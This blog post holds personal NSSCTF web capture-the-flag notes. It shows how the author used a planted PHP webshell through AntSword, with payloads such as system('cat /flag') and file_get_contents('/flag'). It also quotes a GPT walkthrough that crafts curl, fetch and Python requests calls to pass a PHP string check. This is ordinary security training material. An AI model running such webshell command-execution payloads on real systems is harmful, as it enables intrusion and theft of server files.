NSSCTF web刷题
1
虽然找到了flag,但是我要怎么去改他的代码,让他直接输出flag呢?
(好像是要得到他的json代码,这题不让看)
2
wllm应该就是他的密码,进入许可了
意思是服务器可以执行通过POST的请求方式传入参数为wllm的命令,那这就是典型的命令执行,当然,也可以使用蚁剑或者菜刀连接这个木马
antsword
右键直接连接
在根目录下就有一个flag藏着
hackbar
ctrl+u查看源码,好看一点
wllm=var_dump(file_get_contents("/flag"));
wllm=system('cat /flag');
两种源码
var_dump()函数用于输出变量的相关信息
file_get_contents()函数用于读取文件
3
强大的ai
进来可以看见就是源码
gpt给的答案
这段 PHP 代码主要用于处理两个输入参数 (
id
和json
),并在满足特定条件时输出一个变量$flag
的内容。以下是代码逐行分析:
1.
highlight_file('index.php');
- 作用: 这行代码会将当前文件 (
index.php
) 的内容以高亮的形式输出到网页上。- 用途: 通常用于调试,或者作为一个挑战(比如 CTF),让用户能看到代码内容。
2.
include("flag.php");
- 作用: 包含一个名为
flag.php
的文件。- 隐患: 如果
flag.php
文件被泄露或包含敏感信息(比如$flag
的定义),可能会导致漏洞。- 假设
flag.php
文件的内容类似于:php
复制代码
<?php $flag = "FLAG{example_flag}"; ?>
3.
$id=$_POST['id'];
- 作用: 从 HTTP POST 请求中获取参数
id
的值并赋值给$id
。- 隐患: 如果未对输入进行校验,可能会导致不安全的行为,但此处代码仅比较字符串,暂未看到明显漏洞。
4.
$json=json_decode($_GET['json'],true);
- 作用: 从 HTTP GET 请求中获取参数
json
的值,并将其作为 JSON 解码为 PHP 数组,存储到$json
变量中。- 隐患: 如果解码失败(如传入的不是合法的 JSON),
$json
将是null
,这可能导致后续代码错误。
5.
if ($id=="wllmNB"&&$json['x']=="wllm")
- 作用: 检查
$id
和$json['x']
是否同时满足指定条件:
$id
的值必须是字符串"wllmNB"
;$json['x']
的值必须是字符串"wllm"
。
6.
{echo $flag;}
- 作用: 如果条件满足,则输出
$flag
的内容。
总结分析
功能:
- 脚本的作用是输出
$flag
,前提是满足条件$id == "wllmNB"
和$json['x'] == "wllm"
。潜在漏洞:
- 文件包含敏感数据: 如果
flag.php
的内容意外暴露,攻击者可能直接获取到$flag
。- 未验证的用户输入:
- 虽然
json_decode()
是一种解析输入的方法,但其行为依赖于用户传入的 JSON 数据,如果攻击者能够构造合法的 JSON,可能绕过其他限制。- 代码逻辑过于简单: 一旦攻击者了解了判断逻辑,直接伪造请求即可拿到
$flag
。如何利用:
- 构造一个 POST 请求,其中
id="wllmNB"
。- 构造一个 GET 请求,其中
json={"x":"wllm"}
。- 请求示例:
bash
复制代码
或者:
POST /index.php?id=wllmNB&json={"x":"wllm"}
perl
复制代码
curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"
建议改进:
- 避免在源码中直接输出敏感信息。
- 使用更加复杂的验证逻辑,避免简单暴力的字符串匹配。
- 针对用户输入的 JSON 数据和 POST 数据增加验证,确保不会被伪造请求绕过。
真猛,我的天
1. 使用
curl
命令行工具
curl
是一个非常强大的命令行工具,用于发送 HTTP 请求。构造 POST 请求
bash
复制代码
curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"
解释
-X POST
指定 HTTP 方法为 POST。-d "id=wllmNB"
指定 POST 的数据(id=wllmNB
)。http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D
json=%7B%22x%22%3A%22wllm%22%7D
是 URL 编码的 JSON 参数{"x":"wllm"}
。
2. 使用 Postman
Postman 是一个用户友好的界面工具,非常适合测试 HTTP 请求。
步骤
下载并安装 Postman.
创建一个新请求。
设置请求方式为
POST
。在 URL 栏中输入目标地址,例如:
arduino
复制代码
http://example.com/index.php
在请求参数部分:
- Body: 选择 x-www-form-urlencoded。
- 添加键值对:
id = wllmNB
。在 Query Params 添加键值对:
json = {"x":"wllm"}
。点击 Send,观察返回结果。
3. 使用浏览器控制台
你也可以在浏览器的开发者工具中发送请求。
步骤
- 打开浏览器,按
F12
或右键选择 检查,进入开发者工具。- 转到 Console(控制台)。
- 输入以下代码:
javascript
复制代码
fetch('http://example.com/index.php?json={"x":"wllm"}', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));
- 按回车,观察控制台输出的返回结果。
4. 使用 Python (Requests 库)
如果你熟悉 Python,可以用
requests
库发送请求。代码示例
python
复制代码
import requests url = "http://example.com/index.php" params = {"json": '{"x":"wllm"}'} data = {"id": "wllmNB"} response = requests.post(url, params=params, data=data) print(response.text)
运行
- 确保安装了
requests
:pip install requests
。- 运行上述代码。
推荐工具
- 如果你熟悉命令行,使用 curl。
- 如果需要可视化界面,使用 Postman。
- 如果你是开发者,推荐使用 Python 的 Requests 库或浏览器控制台。
试一下
这...
ai强大
curl -X POST -d "id=wllmNB" "http://node7.anna.nssctf.cn:21519?json=%7B%22x%22%3A%22wllm%22%7D"
import requestsurl = "http://node7.anna.nssctf.cn:21519/"
params = {"json": '{"x":"wllm"}'}
data = {"id": "wllmNB"}response = requests.post(url, params=params, data=data)
print(response.text)
fetch('http://node7.anna.nssctf.cn:21519?json={"x":"wllm"}', { method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));
猛!三个传参的办法
后面再学,今天先摆~
相关文章:

NSSCTF web刷题
1 虽然找到了flag,但是我要怎么去改他的代码,让他直接输出flag呢? (好像是要得到他的json代码,这题不让看) 2 wllm应该就是他的密码,进入许可了 意思是服务器可以执行通过POST的请求方式传入参数为wllm的命令,那这就是典型的命令执行,当然,…...
对象排序得到方式
java实现 list 排序的方式,有三种 ① 对象实现Comparable 接口,然后代码里直接调用Collections.sort(list) ②使用内部类Comparator ③使用stream.sort 代码如下 实现Comparable接口的实体类 Data public class Student implements Comparable<Stud…...
Day2 洛谷1035+1047+1085+1089+1150+1151
零基础洛谷刷题记录 Day1 2024.11.18 Day2 2024.11.25 文章目录 零基础洛谷刷题记录1035:题目描述1035:解答代码1035:学习成果1047:题目描述(成功写出)1047:解答代码1047:学习成果1085…...

Linux:进程间通信之进程池和日志
一、进程池的设计 因为每一次我们要进行进程间通信都需要fork,和操作系统做交互是存在很大成本的,所以我们是不是可以提前fork出几个进程,然后当我们想要使用的时候直接去给他们安排任务,这样就减少了系统调用的次数从而提高了内存…...

详细介绍HTTP与RPC:为什么有了HTTP,还需要RPC?
目录 一、HTTP 二、RPC 介绍 工作原理 核心功能 如何服务寻址 如何进行序列化和反序列化 如何网络传输 基于 TCP 协议的 RPC 调用 基于 HTTP 协议的 RPC 调用 实现方式 优点和缺点 使用场景 常见框架 示例 三、问题 问题一:是先有HTTP还是先有RPC&…...
Paddle Inference部署推理(十二)
十二:Paddle Inference推理 (python)API详解 15. PredictorPool 类 PredictorPool 对 Predictor 进行了简单的封装,通过传入 config 和 thread 的数目来完成初始化,在每个线程中,根据自己的线程 id 直接从…...
外观模式 (Facade Pattern)
外观模式 (Facade Pattern) 外观模式是一种 结构型设计模式,通过为子系统中的一组接口提供一个统一的高层接口,简化了子系统的使用,让复杂系统更易于访问。 原理 核心思想: 提供一个 统一的接口 来访问子系统中的多个接口&#…...

人工智能-深度学习-Torch框架-手动构建回归流程
from sklearn.datasets import make_regression import math import random import torch from sklearn.datasets import make_regression: 导入make_regression函数,用于生成回归数据集。 import math: 导入math模块,用于进行数学计算,例如…...

SpringBoot源码解析(五):准备应用环境
SpringBoot源码系列文章 SpringBoot源码解析(一):SpringApplication构造方法 SpringBoot源码解析(二):引导上下文DefaultBootstrapContext SpringBoot源码解析(三):启动开始阶段 SpringBoot源码解析(四):解析应用参数args Sp…...

MySQL面试-1
InnoDB中ACID的实现 先说一下原子性是怎么实现的。 事务要么失败,要么成功,不能做一半。聪明的InnoDB,在干活儿之前,先将要做的事情记录到一个叫undo log的日志文件中,如果失败了或者主动rollback,就可以通…...
nginx配置不缓存资源
方法1 location / {index index.html index.htm;add_header Cache-Control no-cache,no-store;try_files $uri $uri/ /index.html;#include mime.types;if ($request_filename ~* .*\.(htm|html)$) {add_header Cache-Control "private, no-store, no-cache, must-revali…...
PHP导出EXCEL含合计行,设置单元格格式
PHP导出EXCEL含合计行,设置单元格格式,水平居中 垂直居中 public function exportSalary(Request $request){//水平居中 垂直居中$styleArray [alignment > [horizontal > Alignment::HORIZONTAL_CENTER,vertical > Alignment::VERTICAL_CE…...

RabbitMQ 之 死信队列
一、死信的概念 先从概念解释上搞清楚这个定义,死信,顾名思义就是无法被消费的消息,字面意思可以这样理 解,一般来说,producer 将消息投递到 broker 或者直接到 queue 里了,consumer 从 queue 取出消息进行…...
【创建型设计模式】单例模式
【创建型设计模式】单例模式 这篇博客接下来几篇都将阐述设计模式相关内容。 接下来的顺序大概是:单例模式、工厂方法模式、抽象工厂模式、建造者模式、原型模式。 一、什么是单例模式 单例模式是一种创建型设计模式,它保证一个类仅有一个实例&#…...

Charles抓包工具-笔记
摘要 概念: Charles是一款基于 HTTP 协议的代理服务器,通过成为电脑或者浏览器的代理,然后截取请求和请求结果来达到分析抓包的目的。 功能: Charles 是一个功能全面的抓包工具,适用于各种网络调试和优化场景。 它…...
Go语言使用 kafka-go 消费 Kafka 消息教程
Go语言使用 kafka-go 消费 Kafka 消息教程 在这篇教程中,我们将介绍如何使用 kafka-go 库来消费 Kafka 消息,并重点讲解 FetchMessage 和 ReadMessage 的区别,以及它们各自适用的场景。通过这篇教程,你将了解如何有效地使用 kafk…...

【论文笔记】Number it: Temporal Grounding Videos like Flipping Manga
🍎个人主页:小嗷犬的个人主页 🍊个人网站:小嗷犬的技术小站 🥭个人信条:为天地立心,为生民立命,为往圣继绝学,为万世开太平。 基本信息 标题: Number it: Temporal Grou…...

C语言菜鸟入门·关键字·int的用法
目录 1. int关键字 1.1 取值范围 1.2 符号类型 1.3 运算 1.3.1 加法运算() 1.3.2 减法运算(-) 1.3.3 乘法运算(*) 1.3.4 除法运算(/) 1.3.5 取余运算(%) 1.3.6 自增()与自减(--) 1.3.7 位运算 2. 更多关键字 1. int关键字 int 是一个关键字࿰…...

基于企业微信客户端设计一个文件下载与预览系统
在企业内部沟通与协作中,文件分享和管理是不可或缺的一部分。企业微信(WeCom)作为一款广泛应用于企业的沟通工具,提供了丰富的API接口和功能,帮助企业进行高效的团队协作。然而,随着文件交换和协作的日益增…...

昇思MindSpore第七课---文本解码原理
1. 文本解码原理 文本解码是将模型的输出(通常是概率分布或词汇索引)转换为可读的自然语言文本的过程。在生成文本时,常见的解码方法包括贪心解码、束搜索(BeamSearch)、随机采样等。 2 实践 2.1 配置环境 安装mindn…...

TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...

Debian系统简介
目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版ÿ…...
python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)
更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...
解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错
出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上,所以报错,到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本,cu、torch、cp 的版本一定要对…...

Kafka入门-生产者
生产者 生产者发送流程: 延迟时间为0ms时,也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于:异步发送不需要等待结果,同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...
NPOI Excel用OLE对象的形式插入文件附件以及插入图片
static void Main(string[] args) {XlsWithObjData();Console.WriteLine("输出完成"); }static void XlsWithObjData() {// 创建工作簿和单元格,只有HSSFWorkbook,XSSFWorkbook不可以HSSFWorkbook workbook new HSSFWorkbook();HSSFSheet sheet (HSSFSheet)workboo…...

day36-多路IO复用
一、基本概念 (服务器多客户端模型) 定义:单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用:应用程序通常需要处理来自多条事件流中的事件,比如我现在用的电脑,需要同时处理键盘鼠标…...
微服务通信安全:深入解析mTLS的原理与实践
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、引言:微服务时代的通信安全挑战 随着云原生和微服务架构的普及,服务间的通信安全成为系统设计的核心议题。传统的单体架构中&…...

倒装芯片凸点成型工艺
UBM(Under Bump Metallization)与Bump(焊球)形成工艺流程。我们可以将整张流程图分为三大阶段来理解: 🔧 一、UBM(Under Bump Metallization)工艺流程(黄色区域ÿ…...
TCP/IP 网络编程 | 服务端 客户端的封装
设计模式 文章目录 设计模式一、socket.h 接口(interface)二、socket.cpp 实现(implementation)三、server.cpp 使用封装(main 函数)四、client.cpp 使用封装(main 函数)五、退出方法…...